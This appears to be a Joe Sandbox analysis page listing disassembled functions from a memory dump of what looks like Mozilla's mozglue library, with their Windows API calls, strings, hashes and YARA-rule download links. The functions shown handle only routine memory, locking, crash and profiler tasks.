Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

<jemalloc>, xrefs: 6C510D92, 6C510DB9
: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5318C7
name, xrefs: 6C531939
Details, xrefs: 6C531925

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
